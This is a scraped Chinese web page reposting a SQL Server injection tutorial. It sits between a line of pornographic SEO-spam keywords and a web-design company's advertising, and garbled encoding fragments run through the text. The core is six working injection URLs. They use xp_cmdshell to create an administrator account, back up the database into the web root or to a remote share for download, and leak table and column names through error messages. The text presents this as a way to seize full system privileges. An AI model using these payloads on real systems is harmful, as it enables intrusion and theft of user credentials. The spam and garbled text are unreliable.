av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)

下面為您介紹了利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)的實(shí)現(xiàn)方法,供您參考,如果您對(duì)SQLServer系統(tǒng)表方面感興趣的話(huà),不妨一看。

讓客戶(hù)滿(mǎn)意是我們工作的目標(biāo),不斷超越客戶(hù)的期望值來(lái)自于我們對(duì)這個(gè)行業(yè)的熱愛(ài)。我們立志把好的技術(shù)通過(guò)有效、簡(jiǎn)單的方式提供給客戶(hù),將通過(guò)不懈努力成為客戶(hù)在信息化領(lǐng)域值得信任、有價(jià)值的長(zhǎng)期合作伙伴,公司提供的服務(wù)項(xiàng)目有:域名申請(qǐng)、網(wǎng)頁(yè)空間、營(yíng)銷(xiāo)軟件、網(wǎng)站建設(shè)、昌平網(wǎng)站維護(hù)、網(wǎng)站推廣。

SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫(kù)系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開(kāi)發(fā)者帶來(lái)了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來(lái)看看幾個(gè)具體的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分號(hào);在SQLServer中表示隔開(kāi)前后兩句語(yǔ)句,--表示后面的語(yǔ)句為注釋?zhuān)?,這句語(yǔ)句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過(guò)程xp_cmdshell,這個(gè)存儲(chǔ)過(guò)程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶(hù)名為name、密碼為password的windows的帳號(hào),接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否則,是沒(méi)有權(quán)限調(diào)用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有個(gè)類(lèi)似的例子and user>0,作用是獲取連接用戶(hù)名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫(kù)名。

④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫(kù)名 to disk=’c:\inetpub\wwwroot\1.db’;--

這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來(lái),所有的管理員及用戶(hù)密碼都一覽無(wú)遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面說(shuō)過(guò),sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’ and status>0,表示用戶(hù)建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來(lái)。第二、第三個(gè)表名怎么獲?。窟€是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 

從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

以上6點(diǎn)是我研究SQLServer注入半年多以來(lái)的心血結(jié)晶,可以看出,對(duì)SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開(kāi)發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開(kāi)發(fā)本來(lái)就是相輔相成的吧。
 

【編輯推薦】

sqlserver分發(fā)服務(wù)器的設(shè)置

SqlServer唯一約束的創(chuàng)建

讓sqlserver恢復(fù)到某個(gè)時(shí)間點(diǎn)

sqlserver分頁(yè)存儲(chǔ)過(guò)程實(shí)例

SQLServer刪除log文件和清空日志的方法


名稱(chēng)欄目:利用SQLServer系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)
文章路徑:http://uogjgqi.cn/article/cccidde.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們?cè)谖⑿派?4小時(shí)期待你的聲音

解答本文疑問(wèn)/技術(shù)咨詢(xún)/運(yùn)營(yíng)咨詢(xún)/技術(shù)建議/互聯(lián)網(wǎng)交流